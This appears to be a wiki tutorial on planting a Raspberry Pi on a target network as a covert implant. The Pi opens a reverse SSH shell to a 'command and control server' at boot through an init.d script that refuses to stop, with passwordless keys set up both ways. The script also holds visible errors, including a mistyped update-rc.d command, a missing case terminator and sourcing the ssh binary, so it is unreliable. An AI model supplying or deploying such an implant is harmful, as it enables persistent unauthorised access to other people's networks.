RaspberryPi/Reverse SSH

This article covers how to get a reverse SSH shell to a Raspberry Pi.

Reverse SSH Shell

How to control the Pi once it is placed on a target network? SSH. But how?

Incoming SSH connections (from a command and control server to the Raspberry Pi) can be blocked by firewalls/security measures.

Reverse SSH is a good alternative: instead of the command and control server connecting to the Raspberry Pi, the Raspberry Pi initiates the connection to the command and control server. This is the same technique used by many backdoor programs.

SSH Command

The command and control server listens for the Pi. When the Pi is online, it calls the ssh command and connects to the remote command and control server.

Normally, when you SSH to a machine, you execute a command like:

$ ssh user@remoteserver

But if you use the -R flag, it enables a reverse connection to the listener.

$ ssh  -R  [bind_address:]port:host:hostport  username@remoteserver

Let's ignore bind_address for now.

The port indicates which port on your Raspberry Pi you want to use to get out of the network. Port 22 is the standard SSH port, but this may not be open on the network firewall that your Pi is on. Pick a port you know will be open and use that for port.

host indicates the destination for the tunnel. Once we SSH from the Raspberry Pi into the command and control server, our tunnel is entirely local. So we create a local tunnel from port to hostport. And our host is localhost.

Finally, the username@remoteserver enables us to create an SSH connection to the remote server in the first place.

Reverse SSH on Startup

You can run this command on startup, so that on boot, the Pi will attempt to connect to a remote server if it is available.

First, we'll create a startup service that initiates a reverse SSH connection.

Then, we'll give it a whirl.

Add Reverse SSH Startup Service

The following instructions will walk through how to create a reverse SSH startup service on the Raspberry Pi, so that the Pi will automatically seek out and create a reverse SSH connection on boot, if the remote server can be found.

This is done by editing the Linux partition of the SD card (not the 64 MB boot partition - the ~3 GB Linux partition!) and changing some files in the init.d sequence.

Mount SD Card

First, insert the Raspberry Pi SD card into your laptop and mount the volume.

Create Reverse SSH Service

Now you'll create a reverse SSH service in /sdcard/etc/init.d/. I called mine reverse-ssh.

#!/bin/sh

### BEGIN INIT INFO
# Provides: new-reverse-ssh
# Required-Start: 
# Required-Stop: 
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start reverse ssh at boot time
# Description: Start reverse ssh at boot time. 
### END INIT INFO 

set -e

PARAM=/usr/bin/ssh
if [ -f $PARAM ]; then
    . "$PARAM"
fi

case "${1:-}" in
  stop|reload|restart|force-reload)
        echo "Too bad."

  start)
        echo "Opening reverse shell."
        /usr/bin/ssh -R 22:localhost:2222 charles@10.0.0.19;;

  *)
        echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
        exit 1
        ;;
esac

Note that we could also SSH to the Pi and do this live. It's up to you.

Updating Startup Sequence on Raspberry Pi

Now it is time to add our startup service to the Pi's onboard update-rc.d - good information here: https://www.debian-administration.org/article/28/Making_scripts_run_at_boot_time_with_Debian

Plug Pi back into the router and start it up. SSH to it.

Now update the rc service, to add our new init.d script to the appropriate runtime levels.

$ chmod 755 /etc/init.d/reverse-ssh
$ update-rupdate-rc.d reverse-ssh defaults
update-rc.d: using dependency based boot sequencing

Passwordless Login: Raspberry Pi to CnC Server

Now let's creat eSSH keys, so the Pi can remotely SSH to the command and control server without a password.

On our Pi:

[pi] $ ssh-keygen -t dsa
[pi] $ cat ~/.ssh/id_dsa.pub

and on the command and control server:

[cncserver] $ vim ~/.ssh/authorized_keys

and paste the contents of the Raspberry Pi's public key.

Passwordless Login: CnC Server to Raspberry Pi

Now let's create SSH keys, so the command and contorol server can remotely access the Pi without a password.

On our command and control server cncserver:

[cncserver] $ ssh-keygen -t dsa
[cncserver] $ cat .ssh/id_dsa.pub

This is your command and control public key. Now copy and paste this into the Raspberry Pi:

[pi] $ vim ~/.ssh/authorized_keys

and paste the contents of the public key file from your cncserver. This basically adds your cncserver to the Raspberry Pi's whitelist.